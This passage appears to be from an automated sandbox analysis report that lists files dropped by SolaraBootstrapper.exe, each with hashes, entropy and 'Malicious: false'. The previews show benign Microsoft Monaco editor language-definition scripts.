SHA-256:	1F0FEEAE58C32F6E1F31B78F7E2AAB3C91DA387E464234C0F55EBFF0E77444A2
SHA-512:	2FE594DE8AC3444223EDC011CBD7F08A6F8AB2DE2BF56919C2D6F1208E22391652D14549C3822C21C4999139FFCE711FDBF00725E95AA01068BF5F223C3B8710
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/ini/ini",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"#"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},n.language={defaultToken:"",tokenPostfix:".ini",escapes:/\\(?:[abfnrtv\\"']\|x[0-9A-Fa-f]{1,4}\|u[0-9A-Fa-f]{4}\|U[0-9A-Fa-f]{8})/,tokeni

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\java\java.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2944)
Category:	dropped
Size (bytes):	3351
Entropy (8bit):	5.320655556349641
Encrypted:	false
SSDEEP:	96:hFDMgRsXx+rbV1+/0V1+/mQwZ4Sgbhb6ag71wGcLRWG:hZw+rTx1iSgb8ZiLx
MD5:	826546E08F178D68E8AA2AB29194C03A
SHA1:	444ED723CADC4231F2DCE5C54597FA8558893D12
SHA-256:	44BE702CAE05D5844DC1C452F9BD94020007B9E543A765DB4E6649278607D218
SHA-512:	8EDB46EEFAA3277374BA5DC656423115735573A57E82002745CE6112F666079D6AB7D9B5A79ED208FF51487E9EC2B757C45EC1B3C8119D8CBCD4F7CD30347EF9
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/java/java",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\#\%\^\&\\-\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{lineComment:"//",blockComment:["/","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"},{open:"<",c

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\less\less.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3871)
Category:	dropped
Size (bytes):	4278
Entropy (8bit):	5.272728398324189
Encrypted:	false
SSDEEP:	96:hFDMgRsR6rMq+q17qcq6V1+/v+ufj1cCzBbu/2nOgeJamEulIHrraW4NUa:hZE6rr9PuhlzBbu4OLaDuKqW4NUa
MD5:	696EF3DCA27B4F9313DEBA6F99710154
SHA1:	D3B377CAE3355C3FACBECC85BB342D4AF34436CA
SHA-256:	ED8D1A9DA4E62D1CFFE4C83580C9DF57D688E850A45ACE72C11BDEB064520A16
SHA-512:	F9F65F8730FAC803CB01D127C467359F428DBCC8E368F40A15FD56B7150B2258E9C581C3A35712CCC2FCDE8A7108C89A33B80CB72721FEA663A11A553657DC29
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/less/less",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(#?-?\d\.\d\w%?)\|([@#!.:]?[\w-?]+%?)\|[@#!.]/g,comments:{blockComment:["/","/"],lineComment:"//"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string","comment"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\lua\lua.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5498
Entropy (8bit):	4.132811114110444
Encrypted:	false
SSDEEP:	96:SD3yDUfRD5dyVdO29SvE/TMCL8CvcOAtOfxSVkxMZlMfE:nD4Ldyn7Ss/TMmUtOfxhxjE
MD5:	8706D861294E09A1F2F7E63D19E5FCB7
SHA1:	FA5F4BDC6C2F1728F65C41FB5C539211A24B6F23
SHA-256:	FC2D6FB52A524A56CD8AC53BFE4BAD733F246E76DC73CBEC4C61BE32D282AC42
SHA-512:	1F9297EB4392DB612630F824069AFDC9D49259ABA6361FB0B87372123ADA067BC27D10D0623DC1EB7494DA55C82840C5521F6FEF74C1ADA3B0FD801755234F1F
Malicious:	false
Preview:	/---------------------------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Licensed under the MIT License. See License.txt in the project root for license information.. --------------------------------------------------------------------------------------------/.define(["require", "exports"], function (require, exports) {. 'use strict';. Object.defineProperty(exports, "__esModule", { value: true });. exports.conf = {. comments: {. lineComment: '--',. blockComment: ['--[[', ']]'],. },. brackets: [. ['{', '}'],. ['[', ']'],. ['(', ')'],. ['do', 'end'],. ['then', 'end']. ],. autoClosingPairs: [. { open: '{', close: '}' },. { open: '[', close: ']' },. { open: '(', close: ')' },. { open: '"', close: '"' },. { open: '\'', close: '\

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\markdown\markdown.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (3151)
Category:	dropped
Size (bytes):	3558
Entropy (8bit):	5.402061611997358
Encrypted:	false
SSDEEP:	48:hFDMgRs/x/ezKo0V1+UbM+VAkYz/6EsAkRrDhaoStqSDHzeyiUSgpo+daswRZuQP:hFDMgRsjV1+b+Vv3EsAkRrteD4
MD5:	CAF4799639D5DF40DFB1B979ED68AF9C
SHA1:	6578CCC5111DDC190C354449BE2630D91A21523B
SHA-256:	EAAF453E0A9F9A604547E564A24E682503189CB9B85C87715BC9B5B6492B6F62
SHA-512:	E787F3F849A40C608C3B35B732F16E4400C2D47E89FF309566AFBC879FE37A7018722B959DC8DDC8C859D76E2F7BC0B85555CD27F7FC5E4D8E51E460ED32C9CA
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/markdown/markdown",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var s="keyword",n="string",o="variable.source",c="delimiter.html",a="attribute.name.html",d="string.html";t.conf={comments:{blockComment:["\x3c!--","--\x3e"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"<",close:">",notIn:["string"]}],surroundingPairs:[{open:"(",close:")"},{open:"[",close:"]"},{open:"`",close:"`"}],folding:{markers:{start:new RegExp("^\\s*\x3c!-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\msdax\msdax.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4889)
Category:	dropped
Size (bytes):	5296
Entropy (8bit):	5.358020639886059
Encrypted:	false
SSDEEP:	96:hFDMgRsHrviqgq+q17qU/E18Qby0qbmofEsl93Bjy2rzR9sJDJOuz3O+PYLq+v6I:hZmrTY8Ey0UJfEI9z+zz3O+PYLZy4axE
MD5:	EAA7BFF8662633AEC211D57FD17CB8CE
SHA1:	3D783A13339A5797FA701165484BBDB70FFC0616
SHA-256:	6AB13356E083C4334E93D3167BDD17D02552508BFD11EA044C880AF3A1DD94F9
SHA-512:	B3C5069DD3B8B56C0C945CD36909E2D7B575D3B804714B724B7F80BF03DE1983A29E33DCE050FF599017ECE4CE22DCE1F01BDDDA7AE2D41B25779455B96F4C00
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/msdax/msdax",["require","exports"],function(E,T){"use strict";Object.defineProperty(T,"__esModule",{value:!0}),T.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["[","]"],["(",")"],["{","}"]],autoClosingPairs:[{open:'"',close:'"',notIn:["string","comment"]},{open:"'",close:"'",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]},{open:"{",close:"}",notIn:["string","comment"]}]},T.language={defaultToken:"",tokenPostfix:".msdax",ignoreCase:!0,brackets:[{open:"[",close:"]"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\mysql\mysql.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (14475)
Category:	dropped
Size (bytes):	14882
Entropy (8bit):	5.112073612797176
Encrypted:	false
SSDEEP:	384:hALxoDo1S36rNh/xkxnethQZZ62lANnY0k7N6AVzIAtSc2F9/0yW:SLxoDo1e4Nh/xNthQZZgNn67N6AVzIAp
MD5:	6482B3F16CA4F1436D5A5C9B54AB8956
SHA1:	BEC1D967C0DB6CA73CDE65DEBD418F3E2C4DB36C
SHA-256:	7BA586BF9C623DC23F27A46E95A22342CAA1F42D3B19FD9C018EB3B7298206DD
SHA-512:	24B0DCB75254F4D69209D42BED81730C7C9CCAC2230047A8FE46C81DAB5A65618CE59BE1B09100A1A2E42C515EA2A923A9C7084280BC567B2A6EE987CFB11039
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/mysql/mysql",["require","exports"],function(E,T){"use strict";Object.defineProperty(T,"__esModule",{value:!0}),T.conf={comments:{lineComment:"--",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},T.language={defaultToken:"",tokenPostfix:".sql",ignoreCase:!0,brackets:[{open:"[",close:"]",token:"delim

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\objective-c\objective-c.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2387)
Category:	dropped
Size (bytes):	2794
Entropy (8bit):	5.152653484284549
Encrypted:	false
SSDEEP:	48:hFDMgRs/B2K5rDQ0V1+/n0V1+/XTmT4ZThFk+VAC8DFYbmXCm:hFDMgRslrbV1+/0V1+/jmTElRVACaVF
MD5:	3BA48944CCDA06514BF9723A2308B4C8
SHA1:	E9EBAC91264E0510F8FF80710244C3CE56AEE1B4
SHA-256:	35AF39BAF166F7C2E3C95345B10EC46AA523F98783DAA745AEF64503019E3253
SHA-512:	B8B1096188BF3837A696353988C4BD1B21F1CBDE54A9CE8436F139765189C5DC8FFB02AD931A364D4780FB7FBB7DC18A600CC19A5DB3E1A412F38D7269A24030
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/objective-c/objective-c",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},n.language={defaultToken:"",tokenPostfix:".objective-c",keywords:["#import","#include","#def

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\pgsql\pgsql.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (17607)
Category:	dropped
Size (bytes):	18014
Entropy (8bit):	5.215562324868787
Encrypted:	false
SSDEEP:	384:hhLx5HtCBHHfrxrOmYbatR9uwX6l+qCVFQBTI7e9/asW:PLx5HtCBHHfrxrOmGaZKgKBTIuisW
MD5:	7183810944428C812B3F9F4ED4ADBB6D
SHA1:	5931E0E973678B836F548D11095B77398F7C38E5
SHA-256:	A9487E85B74FD293C0131AE9BC181E72BAECF5A0A6F8B71E97770D79332C09C0
SHA-512:	A0EB6A021B24DB38B98C7DB1C5584BF190F789E5CB65FE13B7FB881FFF1665CDAA7914556E0C0984F620B55B63A7B9F7902B706D596B2603E8720DC85DFA185F
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/pgsql/pgsql",["require","exports"],function(_,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.conf={comments:{lineComment:"--",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},e.language={defaultToken:"",tokenPostfix:".sql",ignoreCase:!0,brackets:[{open:"[",close:"]",token:"delim

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\php\php.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (8006)
Category:	dropped
Size (bytes):	8413
Entropy (8bit):	5.361126073471124
Encrypted:	false
SSDEEP:	192:hZe+rrpRld2BZwd0C4Ov6f+AME/gujcm91wIJ3tjPq:hQ+rr7xPSVrgm91w+3t2
MD5:	FFFC04CACEA00100299900C7969E44DD
SHA1:	D15B7AFF67D8FA813C43E35AC58EC08A74F4701B
SHA-256:	AF43769FA1BDEF70DA786C2296C3A5F91552163C78D5C8EDE46620A146EDDA92
SHA-512:	19DD22739EB9373A2B8F4ACD7712D7631ADF1CFBADBDEC9DAC2BDA25E8594731AB30CAA5CF2DEB241C76429F8E381775B60AE5857E4AC6B735F493885C4DAC6F
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/php/php",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\#\%\^\&\\-\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{lineComment:"//",blockComment:["/","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}",notIn:["string"]},{open:"[",close:"]",notIn:["string"]},{open:"(",close:")",notIn:["string"]},{open:'"',close:'"',notIn:["string"]},{open:"'",close:"'",notIn:["string","comment"]}],folding:{markers:{start:new RegExp("^\\

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\postiats\postiats.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (7839)
Category:	dropped
Size (bytes):	8246
Entropy (8bit):	5.273054331575847
Encrypted:	false
SSDEEP:	192:hZCrsRJNHUKhfdGiAQ3Sv0vExaeZtSkgsv:hsrsbNHsQ3SMMYcF
MD5:	0C7A2538121071FD75D9F08806500EA3
SHA1:	968D9EE1B928CF62712EC69D5F02AEB025CC3623
SHA-256:	E49FE4654AE374D12DC7A4CB210BA95F490982A014886EDE88A0DAD3FD99A760
SHA-512:	AE39EDD35BD9CAA13C4E263910CE93375BEADEBBEE846EF8D5E5DA1D8F054E236FF3310E2938FCF3F9D1EEFDE1BBE03C20DDAAD243A73F6249D8A1563F6AFE67
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/postiats/postiats",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{lineComment:"//",blockComment:["(",")"]},brackets:[["{","}"],["[","]"],["(",")"],["<",">"]],autoClosingPairs:[{open:'"',close:'"',notIn:["string","comment"]},{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]}]},t.language={tokenPostfix:".pats",defaultToken:"invalid",keywords:["abstype","abst0ype","absprop","absview","absvtype","absvie

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\powershell\powershell.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3256)
Category:	dropped
Size (bytes):	3663
Entropy (8bit):	5.464517498984316
Encrypted:	false
SSDEEP:	96:hFDMgRsYCGx+lsV1+K6V1+/6cnLsxxeGub2vLycArt6Gr9DB:hZFl+l0yFQQjMJ6Grf
MD5:	25CBB67F273E62A6D0E6DD5C123F5963
SHA1:	81FCAF88C071E6B72648464F1BFDF8FC4FE8CCA6
SHA-256:	D47B6E2970B4BBCD0EB8E4EF69EB2052B117E36AB20C68605A1750AD5991EB51
SHA-512:	94D265EB4E5C91ABF3EDAC2CF17BB37B0402CAE1DBFDF950C12C7B176BAE89EDA618286DA5F51286D2BA684C4FD894DBC138EBDCF2A0B497BBF51BE892A8606E
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/powershell/powershell",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\#%\^\&\*\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{lineComment:"#",blockComment:["<#","#>"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"',notIn:["string"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"}

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\pug\pug.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (4801)
Category:	dropped
Size (bytes):	5208
Entropy (8bit):	5.0930716222982095
Encrypted:	false
SSDEEP:	96:hFDMgRsnreqgq+q+q15cmFIfnzvN0EJ40LW+LmlgKGJ6V0+piF6ywZ62x3Yxx:hZGrj5xQvKgK2boV0YivwZ6e3Ax
MD5:	4CCE0B17D4F7BF474A5101763EC17C9C
SHA1:	880F10CB67AB667C20D20EE7A53182F5C841DA87
SHA-256:	CDAD9F84576583B68A10519C4F23BA36CD4422CBB7A44FDED2C99A1E823E8043
SHA-512:	9A4B988C88F888355D67F650B8CC3DB8601743037B48497050CEDBD61BF0B1C8864B230279322B4F05FFA8D628FD2979E6FC61E366C7EFE633AFA5439C6F38C7
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/pug/pug",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{lineComment:"//"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:'"',close:'"',notIn:["string","comment"]},{open:"'",close:"'",notIn:["string","comment"]},{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]}],folding:{offSide:!0}},t.language={defaultToken:"",tokenPostfix:".pug",ignoreCase:!0,brackets:[{token:"delimiter.curly",open

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\python\python.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3001)
Category:	dropped
Size (bytes):	3408
Entropy (8bit):	5.068628361364933
Encrypted:	false
SSDEEP:	96:hFDMgRsbwV1+K6V1+/gT0g84Ph/F0vcyBBj1dA1TUT27F:hZOYyf0g84PjbS/G1TUTIF
MD5:	D3618CE8D5AEC23FFF67CED39C79EBD9
SHA1:	2C66C7B3D631784CE297AD081FDFFE48E1739EEC
SHA-256:	8B98AEB80E1FD053E80CDFBF79437338D8B1081CCBD999C5373DA225777296AD
SHA-512:	8A6D270AA09FA215FDE2333FEBF0F012C803E83F7EE4091688B91C423408E7B0754D9E1AC3DBC4CB1D8CDE7C06E59A6F140AA38F5C18E43BD2EF544F22B2DCE8
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/python/python",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"#",blockComment:["'''","'''"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"',notIn:["string"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{offSide:!0,markers:{start:new RegExp("^\\s*#regio

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\r\r.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2804)
Category:	dropped
Size (bytes):	3211
Entropy (8bit):	5.149479271916287
Encrypted:	false
SSDEEP:	96:hFDMgRs6RdmV1+IV1+OzjmlMhG6URj1AAEQTUTfBprOE:hZnRdijDj5ne5ZTUT5ll
MD5:	BB2637578BA902DCD3EA172CF8C7B7EA
SHA1:	28C77F1E22FFE267C5AC0960938A9E0BC510FE22
SHA-256:	710905BA785B707484AFED8404C2B092F0B7CA4BF5AA35A7D333A7C07AFEE712
SHA-512:	B14E61CBD53971BBBEE1F237B8C44AAF567C738C54376625ADE5DD121A2364DCE69D39F20D6C4F28BD66348DC0832D2B6540D0ACC85B5054E0B6FD81A8999C25
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/r/r",["require","exports"],function(e,o){"use strict";Object.defineProperty(o,"__esModule",{value:!0}),o.conf={comments:{lineComment:"#"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}]},o.language={defaultToken:"",tokenPostfix:".r",roxygen:["@param","@return","@name","@rdname","@examples","@include","@docType","@S3method","@TODO","@aliases","@alias","@assignee","@

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\razor\razor.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (8431)
Category:	dropped
Size (bytes):	8838
Entropy (8bit):	5.286700121966766
Encrypted:	false
SSDEEP:	192:hZnmP+xRERld2BZW40v4Ou6e+vMHjIoQceC8TElNOYJXW:hYP+tsP3zkIoQceCE6JG
MD5:	C87E5B4654C9011E1DF9EEAA10FA4379
SHA1:	25871CADCEBB9EAB44D65EF8483F03C6E4C44723
SHA-256:	2AD872AA67A12A578E652762C21136B9C9E2A741C2752D69EF48C2EB22CC621C
SHA-512:	AAE1EB996D6C157899EA466A184B263DC4380F56615A4C69BC49A49BB30856F55374D8C7DCF159B0D0A8250C24EAA0B8A7B9A40FF2084F20B51BECD3DD5E9535
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/razor/razor",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r="undefined"==typeof monaco?self.monaco:monaco,o=["area","base","br","col","embed","hr","img","input","keygen","link","menuitem","meta","param","source","track","wbr"];t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\$\^\&\*\-\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\s]+)/g,comments:{blockComment:["\x3c!--","--\x3e"]},brackets:[["\x3c!--","--\x3e"],["<",">"],["{","}"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",cl

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\redis\redis.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3533)
Category:	dropped
Size (bytes):	3940
Entropy (8bit):	5.440020798230755
Encrypted:	false
SSDEEP:	96:hFDMgRs62V1+/0V1+/r1c3kdKsTjuMZF/OmfEjac0pPGKP9XSC1U/W:hZnyxqc3kIsuM//OmMD0pP19Cj/W
MD5:	947B18F3F04FE16FC51BEEA925AAB14B
SHA1:	246F89FE753B6C98202E02BCCB7D4CB4D47ED045
SHA-256:	81D912C3BD211AB866500EBC901EEB628B21E5979587901ADECE649BAFF48F30
SHA-512:	54356CFC1B4F280E3B653E8EC073EFB633BEBAA15386F2CDEFDDB232F141C66B55DE062601EF8306146FC7662BCA6A110F9464DA1B27E481DF2FAF66D035BD6D
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/redis/redis",["require","exports"],function(E,e){"use 